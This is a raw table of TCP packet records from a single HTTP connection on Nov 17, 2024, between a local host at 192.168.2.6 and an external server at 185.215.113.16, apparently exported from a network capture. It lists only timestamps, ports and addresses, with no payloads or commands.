Nov 17, 2024 12:35:22.943418026 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.943768024 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.943777084 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.943850994 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.943870068 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.943895102 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.943907022 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.944048882 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.944077015 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.944087029 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.944171906 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.944179058 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.944184065 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.944353104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.944363117 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.944371939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.944376945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.944415092 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.944415092 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.984392881 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.984405041 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.984466076 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:22.984541893 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.984553099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:22.984589100 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.011466980 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.011570930 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.011580944 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.011768103 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.011944056 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.012008905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.012043953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.012058020 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.012145042 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.012180090 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.012190104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.012568951 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.059065104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.059289932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.059302092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.059329033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.059340000 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.059350967 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.059350967 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.059361935 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.059375048 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.059386015 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.059425116 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.059425116 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.059525013 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.059601068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.059611082 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.059643030 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.059678078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.059689999 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.059736967 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.059811115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060368061 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060378075 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060389042 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060451031 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.060497046 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060508966 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060519934 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060539007 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.060615063 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.060689926 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060702085 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060714006 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060755968 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.060880899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060897112 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060908079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060920000 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060925961 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.060931921 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.060967922 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.060969114 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.061223030 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.061290979 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.061301947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.061342001 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.061403036 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.061413050 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.061423063 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.061434031 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.061458111 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.061458111 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.061639071 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.061717987 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.103827953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.103840113 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.103852034 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.103892088 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.128890991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.128933907 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.128950119 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.128961086 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.129038095 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.129226923 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.129245996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.129364014 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.129374981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.129424095 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.129424095 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.129451990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.129462004 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.129520893 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.176332951 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.176353931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.176363945 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.176448107 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.176455975 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.176489115 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.176531076 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.176542997 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.176635027 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.176644087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.176703930 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.176883936 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.176902056 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.176908970 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.176981926 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.176994085 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.177004099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.177016973 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.177021980 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.177072048 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.177072048 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.177829027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.177989960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178014040 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178134918 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.178152084 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178163052 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178174019 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178189039 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178198099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178200006 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178210974 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178220987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178236008 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178244114 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.178244114 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.178244114 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.178278923 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.178356886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178369045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178468943 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.178618908 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178698063 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178709984 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178818941 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178836107 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.178837061 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178849936 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178859949 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178891897 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.178891897 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.178963900 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178975105 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.178986073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.179020882 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.179240942 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.179369926 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.179436922 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.179533005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.218769073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.218812943 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.218827963 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.218847036 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.219342947 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.245826960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.245837927 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.245960951 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.245968103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.245979071 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.246073008 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.246290922 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.246392965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.246403933 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.246449947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.246453047 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.246539116 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.246570110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.246581078 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.246613026 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.293494940 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.293620110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.293628931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.293637991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.293669939 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.293677092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.293689013 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.293828964 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.293909073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.293917894 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.293960094 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.293960094 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.293960094 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.294050932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.294061899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.294116020 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.294152021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.294208050 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.294250011 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.294275999 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.294285059 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.294320107 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.295033932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295109987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295119047 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295165062 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.295165062 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.295206070 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295216084 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295273066 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.295295954 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295358896 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295439005 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.295464039 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295473099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295552969 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.295558929 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295569897 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295624971 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.295766115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295775890 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295784950 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295892954 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295983076 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.295984030 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.295984030 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.295993090 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.296101093 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.296107054 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.296117067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.296125889 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.296135902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.296250105 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.296250105 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.296343088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.296420097 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.296428919 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.296509027 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.296545982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.296614885 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.296622038 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.296624899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.296663046 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.296716928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.336210966 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.336225033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.336237907 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.336257935 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.336289883 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.363003016 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.363059044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.363081932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.363356113 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.363430023 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.363497019 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.363506079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.363594055 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.363599062 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.363610029 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.363620043 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.363786936 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.363823891 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.363825083 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.411026001 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411041021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411056042 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411066055 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411082029 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.411083937 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411093950 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411102057 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411122084 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.411142111 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.411179066 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411218882 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.411251068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411346912 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411355972 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411365032 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411374092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411392927 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.411417007 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.411530972 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.411817074 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.412326097 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.412336111 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.412345886 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.412432909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.412550926 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.412560940 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.412575960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.412678003 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.412682056 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.412682056 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.412682056 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.412688971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.412708998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.412719965 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.412729979 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.412753105 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.412938118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413095951 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413105011 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413125038 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.413156986 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.413347960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413363934 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413373947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413374901 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413424969 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413427114 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.413464069 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413592100 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413608074 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413615942 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413621902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413743973 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.413743973 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.413743973 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.413772106 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413881063 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413892031 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413901091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413913012 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413923979 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.413944006 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.413944006 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.413960934 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.454612970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.454693079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.454761982 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.455431938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.455446959 CET	80	49751	185.215.113.16	192.168.2.6
